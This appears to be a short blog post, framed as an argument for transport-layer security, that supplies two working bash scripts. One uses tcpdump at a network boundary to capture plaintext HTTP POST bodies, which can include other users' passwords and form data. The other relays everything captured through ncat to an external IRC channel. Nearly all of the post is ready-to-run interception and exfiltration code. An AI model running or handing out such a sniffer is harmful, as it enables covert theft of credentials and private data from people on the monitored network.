A somewhat controversial topic!
As of late there is greater and greater push for transport later security. rightly so.
Below is an example of using tcpdump and ncat to log insecure http/pop/smtp etc.. traffic at a network boundary and log the results into irc chat.

Required:

apt-get install tcpdump ncat redis

How it works
Create the 2 files below, make sure redis is running, and start them.
It doesn’t mater which one you start first.

IRC bot

#!/bin/bash -ex

REDIS_CLI="redis-cli -h 127.0.0.1"
q1="queue"
q2="processing"
# redis nil reply
nil=$(echo -n -e '\r\n')

consume() {

  USER=BOTUSERNAME #$1
  MYPASSWORD=BOTPASSWORD #$2
  IRC_SERVER=SERVER #$3
  IRC_PORT=6697 #$4
  CHANNEL=#CHANNEL #$5

  (
    sleep 15
    echo NICK $USER
    sleep 1
    echo USER $USER 8 * : $USER
    sleep 5
    echo "PRIVMSG NickServ :IDENTIFY $USER $MYPASSWORD"
    sleep 5
    echo "PRIVMSG ChanServ :INVITE $CHANNEL"
    sleep 5
    echo "JOIN $CHANNEL"
    sleep 2
    
    while true; do
      # move message to processing queue
      MSG=$(echo "RPOPLPUSH $q1 $q2" | $REDIS_CLI)
    
      if [[ -z "$MSG" ]]; then
        echo "PRIVMSG $CHANNEL :zzz...."
        sleep $[ ( $RANDOM % 120 )  + 1 ]s
        continue
      fi

      echo "PRIVMSG $CHANNEL :========="
      echo $MSG | fold -s -w160 | while read -r bline
      do
        echo "PRIVMSG $CHANNEL :"$bline
        sleep 1
      done

      # remove message from processing queue
      echo "LREM $q2 $q1 \"$MSG\"" | $REDIS_CLI >/dev/null
    done

    sleep 2
    echo QUIT
  ) | ncat --ssl $IRC_SERVER $IRC_PORT
}

while true; do
  consume
done

Tcpdump

#!/bin/bash

REDIS_CLI="redis-cli -h 127.0.0.1"
n=1
nmax=1000
q1="queue"
q2="processing"

clean() {
  echo "DEL $q1" | $REDIS_CLI
  echo "DEL $q2" | $REDIS_CLI
}
        
produce() {
  while true; do
    MSG=$(timeout --foreground -s 15 10s tcpdump -v -s 0 -A 'tcp dst port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)' | php -R 'echo addslashes(htmlspecialchars($argn));' )
    echo $MSG | while read -r line
    do
      tline=$(echo $line | sed 's/\"//g')
      tline=$(echo $tline | sed '/^$/d')
      if [ "$tline" == "" ]; then 
        continue;
      fi
      echo "LPUSH $q1 \"$tline\"" 
      echo ""
      echo "LPUSH $q1 \"$tline\"" | $REDIS_CLI
    done
  done
}
                                            
clean
produce